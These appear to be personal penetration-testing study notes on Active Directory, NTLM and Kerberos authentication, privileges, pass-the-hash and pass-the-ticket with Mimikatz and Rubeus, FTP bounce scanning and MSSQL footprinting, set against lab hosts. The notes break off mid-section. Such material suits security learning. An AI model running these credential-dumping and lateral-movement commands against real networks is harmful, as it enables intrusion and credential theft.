* A foreign security principal (FSP) is an object created in AD to represent a security principal that belongs to a trusted external forest.
* They are created when an object such as a user, group, or computer from an external (outside of the current) forest is added to a group in the current domain.
* They are created automatically after adding a security principal to a group. Every foreign security principal is a placeholder object that holds the SID of the foreign object (an object that belongs to another forest.) Windows uses this SID to resolve the object's name via the trust relationship.
* FSPs are created in a specific container named ForeignSecurityPrincipals with a distinguished name like


# Active Directory

* AD is essentially a large database accessible to all users within the domain, regardless of their privilege level
* A forest is the security boundary within which all objects are under administrative control.
  * A forest may contain multiple domains,
    * and a domain may include further child or sub-domains
      * &#x20;A domain is a structure within which contained objects (users, computers, and groups) are accessible
        * &#x20;It has many built-in Organizational Units (OUs), such as `Domain Controllers`, `Users`, `Computers`, and new OUs can be created as required.
          * OUs may contain objects and sub-OUs, allowing for the assignment of different group policies.

<figure><img src="/files/59G4OatdmlhEKMwSfwzS" alt=""><figcaption></figcaption></figure>

At a very (simplistic) high level, an AD structure may look as follows:

```shell-session
INLANEFREIGHT.LOCAL/
├── ADMIN.INLANEFREIGHT.LOCAL
│   ├── GPOs
│   └── OU
│       └── EMPLOYEES
│           ├── COMPUTERS
│           │   └── FILE01
│           ├── GROUPS
│           │   └── HQ Staff
│           └── USERS
│               └── barbara.jones
├── CORP.INLANEFREIGHT.LOCAL
└── DEV.INLANEFREIGHT.LOCAL

```

* `INLANEFREIGHT.LOCAL` is the root domain
  * contains the subdomains (either child or tree root domains)&#x20;
    * `ADMIN.INLANEFREIGHT.LOCAL`
    * `CORP.INLANEFREIGHT.LOCAL`
    * `DEV.INLANEFREIGHT.LOCAL`
* The graphic below shows two forests, `INLANEFREIGHT.LOCAL` and `FREIGHTLOGISTICS.LOCAL`
*

```
<figure><img src="/files/x3mHVZSGWgMZsgTdhGfV" alt=""><figcaption></figcaption></figure>
```

* The two-way arrow represents a bidirectional trust between the two forests, meaning
  * that users in `INLANEFREIGHT.LOCAL` can access resources in `FREIGHTLOGISTICS.LOCAL` and vice versa.

### Active Directory Terminology

* [Active Directory Terminology](/cybersecurity/active-directory-terminology)

### Active Directory Objects

* [#active-directory-objects](#active-directory-objects "mention")


# Active Directory Functionality

| **Roles**                  | **Description**                                                                                                                                                                                                                                                                                                    |
| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `Schema Master`            | This role manages the read/write copy of the AD schema, which defines all attributes that can apply to an object in AD.                                                                                                                                                                                            |
| `Domain Naming Master`     | Manages domain names and ensures that two domains of the same name are not created in the same forest.                                                                                                                                                                                                             |
| `Relative ID (RID) Master` | The RID Master assigns blocks of RIDs to other DCs within the domain that can be used for new objects. The RID Master helps ensure that multiple objects are not assigned the same SID. Domain object SIDs are the domain SID combined with the RID number assigned to the object to make the unique SID.          |
| `PDC Emulator`             | The host with this role would be the authoritative DC in the domain and respond to authentication requests, password changes, and manage Group Policy Objects (GPOs). The PDC Emulator also maintains time within the domain.                                                                                      |
| `Infrastructure Master`    | This role translates GUIDs, SIDs, and DNs between domains. This role is used in organizations with multiple domains in a single forest. The Infrastructure Master helps them to communicate. If this role is not functioning properly, Access Control Lists (ACLs) will show SIDs instead of fully resolved names. |

* Depending on the organization, these roles may be assigned to specific DCs or as defaults each time a new DC is added. Issues with FSMO roles will lead to authentication and authorization difficulties within a domain.

### Domain and Forest Functional Levels

* Microsoft introduced functional levels to determine the various features and capabilities available in Active Directory Domain Services (AD DS) at the domain and forest level.
* They are also used to specify which Windows Server operating systems can run a Domain Controller in a domain or forest.

| Domain Functional Level | Features Available                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | Supported Domain Controller Operating Systems                                                                 |
| ----------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------- |
| Windows 2000 native     | Universal groups for distribution and security groups, group nesting, group conversion (between security and distribution and security groups), SID history.                                                                                                                                                                                                                                                                                                                               | Windows Server 2008 R2, Windows Server 2008, Windows Server 2003, Windows 2000                                |
| Windows Server 2003     | Netdom.exe domain management tool, lastLogonTimestamp attribute introduced, well-known users and computers containers, constrained delegation, selective authentication.                                                                                                                                                                                                                                                                                                                   | Windows Server 2012 R2, Windows Server 2012, Windows Server 2008 R2, Windows Server 2008, Windows Server 2003 |
| Windows Server 2008     | Distributed File System (DFS) replication support, Advanced Encryption Standard (AES 128 and AES 256) support for the Kerberos protocol, Fine-grained password policies                                                                                                                                                                                                                                                                                                                    | Windows Server 2012 R2, Windows Server 2012, Windows Server 2008 R2, Windows Server 2008                      |
| Windows Server 2008 R2  | Authentication mechanism assurance, Managed Service Accounts                                                                                                                                                                                                                                                                                                                                                                                                                               | Windows Server 2012 R2, Windows Server 2012, Windows Server 2008 R2                                           |
| Windows Server 2012     | KDC support for claims, compound authentication, and Kerberos armoring                                                                                                                                                                                                                                                                                                                                                                                                                     | Windows Server 2012 R2, Windows Server 2012                                                                   |
| Windows Server 2012 R2  | Extra protections for members of the Protected Users group, Authentication Policies, Authentication Policy Silos                                                                                                                                                                                                                                                                                                                                                                           | Windows Server 2012 R2                                                                                        |
| Windows Server 2016     | [Smart card required for interactive logon](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/interactive-logon-require-smart-card) new [Kerberos](https://docs.microsoft.com/en-us/windows-server/security/kerberos/whats-new-in-kerberos-authentication) features and new [credential protection](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/whats-new-in-credential-protection) features | Windows Server 2019 and Windows Server 2016                                                                   |

Forest functional levels have introduced a few key capabilities over the years:

| **Version**              | **Capabilities**                                                                                                                                                                                               |
| ------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Windows Server 2003`    | saw the introduction of the forest trust, domain renaming, read-only domain controllers (RODC), and more.                                                                                                      |
| `Windows Server 2008`    | All new domains added to the forest default to the Server 2008 domain functional level. No additional new features.                                                                                            |
| `Windows Server 2008 R2` | Active Directory Recycle Bin provides the ability to restore deleted objects when AD DS is running.                                                                                                            |
| `Windows Server 2012`    | All new domains added to the forest default to the Server 2012 domain functional level. No additional new features.                                                                                            |
| `Windows Server 2012 R2` | All new domains added to the forest default to the Server 2012 R2 domain functional level. No additional new features.                                                                                         |
| `Windows Server 2016`    | [Privileged access management (PAM) using Microsoft Identity Manager (MIM).](https://docs.microsoft.com/en-us/windows-server/identity/whats-new-active-directory-domain-services#privileged-access-management) |

### Trusts

* A trust is used to establish `forest-forest` or `domain-domain` authentication, allowing users to access resources in (or administer) another domain outside of the domain their account resides in.
* A trust creates a link between the authentication systems of two domains.

| **Trust Type** | **Description**                                                                                                                                                        |
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Parent-child` | Domains within the same forest. The child domain has a two-way transitive trust with the parent domain.                                                                |
| `Cross-link`   | a trust between child domains to speed up authentication.                                                                                                              |
| `External`     | A non-transitive trust between two separate domains in separate forests which are not already joined by a forest trust. This type of trust utilizes SID filtering.     |
| `Tree-root`    | a two-way transitive trust between a forest root domain and a new tree root domain. They are created by design when you set up a new tree root domain within a forest. |
| `Forest`       | a transitive trust between two forest root domains.                                                                                                                    |

**Trust Example**

<figure><img src="/files/FeX2bpKZFe3cQEwz1BHB" alt=""><figcaption></figcaption></figure>

* Trusts can be transitive or non-transitive.
  * A transitive trust means that trust is extended to objects that the child domain trusts.
  * In a non-transitive trust, only the child domain itself is trusted.
* Trusts can be set up to be one-way or two-way (bidirectional).
  * In bidirectional trusts, users from both trusting domains can access resources.
  * In a one-way trust, only users in a trusted domain can access resources in a trusting domain, not vice-versa.
    * The direction of trust is opposite to the direction of access.


# NTLM Authentication

**Hash Protocol Comparison**

| **Hash/Protocol** | **Cryptographic technique**                      | **Mutual Authentication** | **Message Type**                | **Trusted Third Party**                         |
| ----------------- | ------------------------------------------------ | ------------------------- | ------------------------------- | ----------------------------------------------- |
| `NTLM`            | Symmetric Cryptography                           | No                        | Random number                   | Domain Controller                               |
| `NTLMv1`          | Symmetric Cryptography                           | No                        | MD4 hash, random number         | Domain Controller                               |
| `NTLMv2`          | Symmetric key cryptography                       | No                        | MD4 hash, random number         | Domain Controller                               |
| `Kerberos`        | Symmetric Cryptography & asymmetric cryptography | Yes                       | Encrypted ticket using DES, MD5 | Domain Controller/Key Distribution Center (KDC) |

### LM

* `LAN Manager` (LM or LANMAN) hashes are the oldest password storage mechanism used by the Windows operating system.
* &#x20;If in use, they are stored in the SAM database on a Windows host and the NTDS.DIT database on a Domain Controller.
* Due to significant security weaknesses in the Hash Functions|hashing algorithm used for LM hashes, it has been turned off by default since Windows Vista/Server 2008.
  * However, it is still common to encounter, especially in large environments where older systems are still used.
  * Passwords using LM are limited to a maximum of `14` characters
* Passwords are not case sensitive and are converted to uppercase before generating the hashed value, limiting the keyspace to a total of 69 characters making it relatively easy to crack these hashes using a tool such as Hashcat.

### NTHash (NTLM)

* `NT LAN Manager` (NTLM) hashes are used on modern Windows systems.
* It is a challenge-response authentication protocol and uses three messages to authenticate: a client first sends a `NEGOTIATE_MESSAGE` to the server, whose response is a `CHALLENGE_MESSAGE` to verify the client's identity.
* Lastly, the client responds with an `AUTHENTICATE_MESSAGE`
* These hashes are stored locally in the SAM database or the NTDS.DIT database file on a Domain Controller
* The protocol has two hashed password values to choose from to perform authentication: the LM hash (as discussed above) and the NT hash, which is the MD4 hash of the little-endian UTF-16 value of the password.
* The algorithm can be visualized as: `MD4(UTF-16-LE(password))`.

**NTLM Authentication Request**

<figure><img src="/files/SyqgDHft0Op3fdTYIxQe" alt=""><figcaption></figcaption></figure>

```shell-session
Rachel:500:aad3c435b514a4eeaad3b935b51304fe:e46b9e548fa0d122de7f59fb6d48eaa2:::
```

* `Rachel` is the username
* `500` is the Relative Identifier (RID). 500 is the known RID for the `administrator` account
* `aad3c435b514a4eeaad3b935b51304fe` is the LM hash and, if LM hashes are disabled on the system, can not be used for anything
* `e46b9e548fa0d122de7f59fb6d48eaa2` is the NT hash. This hash can either be cracked offline to reveal the cleartext value (depending on the length/strength of the password) or used for a pass-the-hash attack. Below is an example of a successful pass-the-hash attack using the CrackMapExec tool:

```
crackmapexec smb 172.16.1.0/24 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453
```

### NTLMv1 (Net-NTLMv1)

* The NTLM protocol performs a challenge/response between a server and client using the NT hash.
* NTLMv1 uses both the NT and the LM hash, which can make it easier to "crack" offline after capturing a hash using a tool such as [Responder](https://github.com/lgandx/Responder) or via an [NTLM relay attack](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)

**V1 Challenge & Response Algorithm**

```shell-session
C = 8-byte server challenge, random
K1 | K2 | K3 = LM/NT-hash | 5-bytes-0
response = DES(K1,C) | DES(K2,C) | DES(K3,C)
```

**NTLMv1 Hash Example**

```shell-session
u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c
```

### NTLMv2 (Net-NTLMv2)

* The NTLMv2 protocol was first introduced in Windows NT 4.0 SP4 and was created as a stronger alternative to NTLMv1.
* It has been the default in Windows since Server 2000.
* It is hardened against certain spoofing attacks that NTLMv1 is susceptible to. NTLMv2 sends two responses to the 8-byte challenge received by the server.
* These responses contain a 16-byte HMAC-MD5 hash of the challenge, a randomly generated challenge from the client, and an HMAC-MD5 hash of the user's credentials.
* A second response is sent, using a variable-length client challenge including the current time, an 8-byte random value, and the domain name.
* The algorithm is as follows

**V2 Challenge & Response Algorithm**

&#x20; \- NTLM Authentication

```shell-session
SC = 8-byte server challenge, random
CC = 8-byte client challenge, random
CC* = (X, time, CC2, domain name)
v2-Hash = HMAC-MD5(NT-Hash, user name, domain name)
LMv2 = HMAC-MD5(v2-Hash, SC, CC)
NTv2 = HMAC-MD5(v2-Hash, SC, CC*)
response = LMv2 | CC | NTv2 | CC*
```

* An example of an NTLMv2 hash is:

**NTLMv2 Hash Example**

&#x20; \- NTLM Authentication

```shell-session
admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030
```

### Domain Cached Credentials (MSCache2)

* Microsoft developed the MS Cache v1 and v2 algorithm (also known as Domain Cached Credentials (DCC) to solve the potential issue of a domain-joined host being unable to communicate with a domain controller (i.e., due to a network outage or other technical issue) and, hence, NTLM/Kerberos authentication not working to access the host in question.
* Hosts save the last `ten` hashes for any domain users that successfully log into the machine in the `HKEY_LOCAL_MACHINE\SECURITY\Cache` registry key
* These hashes cannot be used in pass-the-hash attacks.
* Furthermore, the hash is very slow to crack with a tool such as Hashcat, even when using an extremely powerful GPU cracking rig, so attempts to crack these hashes typically need to be extremely targeted or rely on a very weak password in use
* These hashes can be obtained by an attacker or pentester after gaining local admin access to a host and have the following format: `$DCC2$10240#bjones#e4e938d12fe5974dc42a90120bd9c90f`.


# Active Directory Rights and Privileges

### Built-in AD Group

| Group Name                           | Description                                                                                                                                                                                                                                                                                                                                                                       |
| ------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Account Operators`                  | Members can create and modify most types of accounts, including those of users, local groups, and global groups, and members can log in locally to domain controllers. They cannot manage the Administrator account, administrative user accounts, or members of the Administrators, Server Operators, Account Operators, Backup Operators, or Print Operators groups.            |
| `Administrators`                     | Members have full and unrestricted access to a computer or an entire domain if they are in this group on a Domain Controller.                                                                                                                                                                                                                                                     |
| `Backup Operators`                   | Members can back up and restore all files on a computer, regardless of the permissions set on the files. Backup Operators can also log on to and shut down the computer. Members can log onto DCs locally and should be considered Domain Admins. They can make shadow copies of the SAM/NTDS database, which, if taken, can be used to extract credentials and other juicy info. |
| `DnsAdmins`                          | Members have access to network DNS information. The group will only be created if the DNS server role is or was at one time installed on a domain controller in the domain.                                                                                                                                                                                                       |
| `Domain Admins`                      | Members have full access to administer the domain and are members of the local administrator's group on all domain-joined machines.                                                                                                                                                                                                                                               |
| `Domain Computers`                   | Any computers created in the domain (aside from domain controllers) are added to this group.                                                                                                                                                                                                                                                                                      |
| `Domain Controllers`                 | Contains all DCs within a domain. New DCs are added to this group automatically.                                                                                                                                                                                                                                                                                                  |
| `Domain Guests`                      | This group includes the domain's built-in Guest account. Members of this group have a domain profile created when signing onto a domain-joined computer as a local guest.                                                                                                                                                                                                         |
| `Domain Users`                       | This group contains all user accounts in a domain. A new user account created in the domain is automatically added to this group.                                                                                                                                                                                                                                                 |
| `Enterprise Admins`                  | Membership in this group provides complete configuration access within the domain. The group only exists in the root domain of an AD forest. Members in this group are granted the ability to make forest-wide changes such as adding a child domain or creating a trust. The Administrator account for the forest root domain is the only member of this group by default.       |
| `Event Log Readers`                  | Members can read event logs on local computers. The group is only created when a host is promoted to a domain controller.                                                                                                                                                                                                                                                         |
| `Group Policy Creator Owners`        | Members create, edit, or delete Group Policy Objects in the domain.                                                                                                                                                                                                                                                                                                               |
| `Hyper-V Administrators`             | Members have complete and unrestricted access to all the features in Hyper-V. If there are virtual DCs in the domain, any virtualization admins, such as members of Hyper-V Administrators, should be considered Domain Admins.                                                                                                                                                   |
| `IIS_IUSRS`                          | This is a built-in group used by Internet Information Services (IIS), beginning with IIS 7.0.                                                                                                                                                                                                                                                                                     |
| `Pre–Windows 2000 Compatible Access` | This group exists for backward compatibility for computers running Windows NT 4.0 and earlier. Membership in this group is often a leftover legacy configuration. It can lead to flaws where anyone on the network can read information from AD without requiring a valid AD username and password.                                                                               |
| `Print Operators`                    | Members can manage, create, share, and delete printers that are connected to domain controllers in the domain along with any printer objects in AD. Members are allowed to log on to DCs locally and may be used to load a malicious printer driver and escalate privileges within the domain.                                                                                    |
| `Protected Users`                    | Members of this [group](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups#protected-users) are provided additional protections against credential theft and tactics such as Kerberos abuse.                                                                                                                   |
| `Read-only Domain Controllers`       | Contains all Read-only domain controllers in the domain.                                                                                                                                                                                                                                                                                                                          |
| `Remote Desktop Users`               | This group is used to grant users and groups permission to connect to a host via Remote Desktop (RDP). This group cannot be renamed, deleted, or moved.                                                                                                                                                                                                                           |
| `Remote Management Users`            | This group can be used to grant users remote access to computers via [Windows Remote Management (WinRM)](https://docs.microsoft.com/en-us/windows/win32/winrm/portal)                                                                                                                                                                                                             |
| `Schema Admins`                      | Members can modify the Active Directory schema, which is the way all objects with AD are defined. This group only exists in the root domain of an AD forest. The Administrator account for the forest root domain is the only member of this group by default.                                                                                                                    |
| `Server Operators`                   | This group only exists on domain controllers. Members can modify services, access SMB shares, and backup files on domain controllers. By default, this group has no members.                                                                                                                                                                                                      |

**Server Operators Group Details**

* powershell

```powershell-session
Get-ADGroup -Identity "Server Operators" -Properties *
```

**Domain Admins Group Membership**

```powershell-session
Get-ADGroup -Identity "Domain Admins" -Properties * | select DistinguishedName,GroupCategory,GroupScope,Name,Members
```

### User Rights Assignment

| **Privilege**                   | **Description**                                                                                                                                                                                                                                                                                   |
| ------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `SeRemoteInteractiveLogonRight` | This privilege could give our target user the right to log onto a host via Remote Desktop (RDP), which could potentially be used to obtain sensitive data or escalate privileges.                                                                                                                 |
| `SeBackupPrivilege`             | This grants a user the ability to create system backups and could be used to obtain copies of sensitive system files that can be used to retrieve passwords such as the SAM and SYSTEM Registry hives and the NTDS.dit Active Directory database file.                                            |
| `SeDebugPrivilege`              | This allows a user to debug and adjust the memory of a process. With this privilege, attackers could utilize a tool such as [Mimikatz](https://github.com/ParrotSec/mimikatz) to read the memory space of the Local System Authority (LSASS) process and obtain any credentials stored in memory. |
| `SeImpersonatePrivilege`        | This privilege allows us to impersonate a token of a privileged account such as `NT AUTHORITY\SYSTEM`. This could be leveraged with a tool such as JuicyPotato, RogueWinRM, PrintSpoofer, etc., to escalate privileges on a target system.                                                        |
| `SeLoadDriverPrivilege`         | A user with this privilege can load and unload device drivers that could potentially be used to escalate privileges or compromise a system.                                                                                                                                                       |
| `SeTakeOwnershipPrivilege`      | This allows a process to take ownership of an object. At its most basic level, we could use this privilege to gain access to a file share or a file on a share that was otherwise not accessible to us.                                                                                           |

### Viewing a User's Privileges

```powershell-session
whoami /priv
```

```powershell-session
PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
```


# Pass the Ticket (PtT)

* read into [Kerberos](/cybersecurity/kerberos)

## Attack Windows

* [Pass the Ticket (PtT) from Windows](/cybersecurity/pass-the-ticket-ptt-from-windows)

<br>


# Kerberos

* Kerberos uses symmetric encryption and provides mutual authentication of both clients and servers.
* build by MIT
* Kerberos has the following components:
* Principal: Client (user) or service
* Realm: A logical Kerberos network
* Ticket: Data that authenticates a principal’s identity Access Control technologies
* Credentials: a ticket and a service key
* KDC: Key Distribution Center, which authenticates principals
* TGS: Ticket Granting Service
* TGT: Ticket Granting Ticket
* C/S: Client/Server

#### Kerberos Operational Steps

*

```
<figure><img src="/files/UDrA2eOSbPDmiMB1md72" alt=""><figcaption></figcaption></figure>
```

* Alice, wishes to access a printer

  * Kerberos Principal Alice contacts the KDC (Key Distribution Center, which acts as an \[\[Identity and Authentication ,Authorization, ,Accountability and Auditing(AAAA) and Non-repudiation|authentication]] server), requesting \[\[Identity and Authentication ,Authorization, ,Accountability and Auditing(AAAA) and Non-repudiation|authentication]]
  * The KDC sends Alice a session key, encrypted with Alice’s secret key.
    * The KDC also sends a TGT (Ticket Granting Ticket), encrypted with the TGS’s secret key
  * Alice decrypts the session key and uses it to request permission to print from the TGS (Ticket Granting Service)
    * Alice cannot decrypt the TGT
      * only the TGS can
  * Seeing Alice has a valid session key (and therefore has proven her identity claim), the TGS sends Alice a C/S session key (second session key) to use to print.
    * The TGS also sends a service ticket, encrypted with the printer’s key
  * Alice connects to the printer.
    * The printer, seeing a valid C/S session key, knows Alice has permission to print, and also knows that Alice is authentic
  *

  ```
  <figure><img src="/files/nTppyDWKKizM72R90147" alt=""><figcaption></figcaption></figure>
  ```

<figure><img src="/files/IAYLp9kmUmk1gWplnAPA" alt=""><figcaption></figcaption></figure>

* <https://youtu.be/5N242XcKAsM>

<figure><img src="/files/9CByqiJagC7UIZnFwaxY" alt=""><figcaption></figcaption></figure>

#### Kerberos Weaknesses

* primary weakness of Kerberos is that the KDC stores the keys of all principals


# Pass the Ticket (PtT) from Windows

### Harvesting Kerberos Tickets from Windows

**Rubeus - Export Tickets**

```cmd-session
Rubeus.exe dump /nowrap
```

**Mimikatz - Export Tickets**

```cmd-session
mimikatz.exe
```

```cmd-session
privilege::debug
```

```cmd-session
sekurlsa::tickets /export
```

```cmd-session
exit
```

* The tickets that end with `$` correspond to the computer account, which needs a ticket to interact with the Active Directory.
* User tickets have the user's name,
  * followed by an `@` that separates the service name and the domain, for example: `[randomvalue]-username@service-domain.local.kirbi`.
* We can also export tickets using Rubeus and the option dump
  * This option can be used to dump all tickets (if running as a local administrator).&#x20;
* `Rubeus dump`, instead of giving us a file, will print the ticket encoded in base64 format. We are adding the option `/nowrap` for easier copy-paste.

***

* Another advantage of abusing Kerberos tickets is the ability to forge our own tickets. Let's see how we can do this using the `OverPass the Hash or Pass the Key` technique.
  * [Pass the Hash (PtH)](app://obsidian.md/Pass%20the%20Hash%20\(PtH\))

### Pass the Key or OverPass the Hash

* The traditional `Pass the Hash (PtH)` technique involves reusing an NTLM password hash that doesn't touch Kerberos
* The `Pass the Key` or `OverPass the Hash` approach converts a hash/key (rc4\_hmac, aes256\_cts\_hmac\_sha1, etc.) for a domain-joined user into a full `Ticket-Granting-Ticket (TGT)`.
  * technique was developed by Benjamin Delpy and Skip Duckwall in their presentation [Abusing Microsoft Kerberos - Sorry you guys don't get it](https://www.slideshare.net/gentilkiwi/abusing-microsoft-kerberos-sorry-you-guys-dont-get-it/18)
* To forge our tickets, we need to have the user's hash
  * we can use Mimikatz to dump all users Kerberos encryption keys using the module `sekurlsa::ekeys`

**Mimikatz - Extract Kerberos Keys**

```cmd-session
mimikatz.exe
privilege::debug
sekurlsa::ekeys
```

**Mimikatz - Pass the Key or OverPass the Hash**

```cmd-session
mimikatz.exe
privilege::debug
sekurlsa::pth /domain:inlanefreight.htb /user:plaintext /ntlm:3f74aa8f08f712f09cd5177b5c1ce50f
```

**Rubeus - Pass the Key or OverPass the Hash**

```cmd-session
Rubeus.exe  asktgt /domain:inlanefreight.htb /user:plaintext /aes256:b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60 /nowrap
```

### Pass the Ticket (PtT)

**Rubeus Pass the Ticket**

```cmd-session
Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /rc4:3f74aa8f08f712f09cd5177b5c1ce50f /ptt
```

* Another way is to import the ticket into the current session using the .kirbi file from the disk.

**Rubeus - Pass the Ticket**

```cmd-session
Rubeus.exe ptt /ticket:[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi
```

**Convert .kirbi to Base64 Format**

```powershell-session
[Convert]::ToBase64String([IO.File]::ReadAllBytes("[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"))
```

* Using Rubeus, we can perform a Pass the Ticket providing the base64 string instead of the file name.

**Pass the Ticket - Base64 Format**

```cmd-session
 Rubeus.exe ptt /ticket:doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/VhggPxMIID7aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB2h0Yi5jb22jggO7MIIDt6ADAgESoQMCAQKiggOpBIIDpY8Kcp4i71zFcWRgpx8ovymu3HmbOL4MJVCfkGIrdJEO0iPQbMRY2pzSrk/gHuER2XRLdV/<SNIP>
```

**Mimikatz - Pass the Ticket**

```cmd-session
mimikatz.exe 
privilege::debug
kerberos::ptt "C:\Users\plaintext\Desktop\Mimikatz\[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"
```

```
dir \\DC01.inlanefreight.htb\c$
```

### Pass The Ticket with PowerShell Remoting (Windows)

* [PowerShell Remoting](https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.2) allows us to run scripts or commands on a remote computer.
  * Administrators often use PowerShell Remoting to manage remote computers on the network
  * Enabling PowerShell Remoting creates both HTTP and HTTPS listeners.
    * The listener runs on standard port TCP/5985 for HTTP and TCP/5986 for HTTPS.
* To create a PowerShell Remoting session on a remote computer, you must have administrative permissions, be a member of the Remote Management Users group, or have explicit PowerShell Remoting permissions in your session configuration.
  * Suppose we find a user account that doesn't have administrative privileges on a remote computer but is a member of the Remote Management Users group. In that case, we can use PowerShell Remoting to connect to that computer and execute commands.

### Mimikatz - PowerShell Remoting with Pass the Ticket

```cmd-session
mimikatz.exe
```

```cmd-session
privilege::debug
```

```cmd-session
kerberos::ptt "C:\Users\Administrator.WIN01\Desktop\[0;1812a]-2-0-40e10000-john@krbtgt-INLANEFREIGHT.HTB.kirbi"
```

```cmd-session
exit
```

```cmd-session
powershell
```

```cmd-session
Enter-PSSession -ComputerName DC01
```

```cmd-session
[DC01]: PS C:\Users\john\Documents> whoami
```

```cmd-session
[DC01]: PS C:\Users\john\Documents> hostname
```

### Rubeus - PowerShell Remoting with Pass the Ticket

```cmd-session
Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show
```

* The above command will open a new cmd window.
* From that window, we can execute Rubeus to request a new TGT with the option `/ptt` to import the ticket into our current session and connect to the DC using PowerShell Remoting.

**Rubeus - Pass the Ticket for Lateral Movement**

```cmd-session
Rubeus.exe asktgt /user:john /domain:inlanefreight.htb /aes256:9279bcbd40db957a0ed0d3856b2e67f9bb58e6dc7fc07207d0763ce2713f11dc /ptt
```

```cmd-session
powershell
```

```cmd-session
Enter-PSSession -ComputerName DC01
```

```cmd-session
[DC01]: PS C:\Users\john\Documents> whoami

inlanefreight\john
```

<br>


# FTP Bounce Attack

* a network attack that uses FTP servers to deliver outbound traffic to another device on the network.
  * The attacker uses a `PORT` command to trick the FTP connection into running commands and getting information from a device other than the intended server

<figure><img src="/files/RydPpjZuSytnu3HXSz0m" alt=""><figcaption></figcaption></figure>

### Attack

* [Nmap](/cybersecurity/nmap)

```shell-session
nmap -Pn -v -n -p80 -b anonymous:password@10.10.110.213 172.17.0.2
```

```shell-session
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-27 04:55 EDT
Resolved FTP bounce attack proxy to 10.10.110.213 (10.10.110.213).
Attempting connection to ftp://anonymous:password@10.10.110.213:21
Connected:220 (vsFTPd 3.0.3)
Login credentials accepted by FTP server!
Initiating Bounce Scan at 04:55
FTP command misalignment detected ... correcting.
Completed Bounce Scan at 04:55, 0.54s elapsed (1 total ports)
Nmap scan report for 172.17.0.2
Host is up.

PORT   STATE  SERVICE
80/tcp open http

<SNIP>
```

```
nmap -b <name>:<pass>@<ftp_server> <victim>
```

```
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
```

```
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443
```

## Reference

* <https://www.geeksforgeeks.org/what-is-ftp-bounce-attack/>
* <https://book.hacktricks.xyz/network-services-pentesting/pentesting-ftp/ftp-bounce-attack>


# MSSQL Attacks

### MSSQL Clients

* [SQL Server Management Studio](https://docs.microsoft.com/en-us/sql/ssms/download-sql-server-management-studio-ssms?view=sql-server-ver15) (`SSMS`)
* Many other clients can be used to access a database running on MSSQL. Including but not limited to:

|                                                                                         |                                                                                                                      |                                       |                                         |                                                                                                             |
| --------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------- | ------------------------------------- | --------------------------------------- | ----------------------------------------------------------------------------------------------------------- |
| [mssql-cli](https://docs.microsoft.com/en-us/sql/tools/mssql-cli?view=sql-server-ver15) | [SQL Server PowerShell](https://docs.microsoft.com/en-us/sql/powershell/sql-server-powershell?view=sql-server-ver15) | [HeidiSQL](https://www.heidisql.com/) | [SQLPro](https://www.macsqlclient.com/) | [Impacket's mssqlclient.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/mssqlclient.py) |

### MSSQL Databases

| Default System Database | Description                                                                                                                                                                                            |
| ----------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `master`                | Tracks all system information for an SQL server instance                                                                                                                                               |
| `model`                 | Template database that acts as a structure for every new database created. Any setting changed in the model database will be reflected in any new database created after changes to the model database |
| `msdb`                  | The SQL Server Agent uses this database to schedule jobs & alerts                                                                                                                                      |
| `tempdb`                | Stores temporary objects                                                                                                                                                                               |
| `resource`              | Read-only database containing system objects included with SQL server                                                                                                                                  |

### Footprinting the Service

**NMAP MSSQL Script Scan**

```shell-session
sudo nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 10.129.201.248
```

**MSSQL Ping in Metasploit**

```shell-session
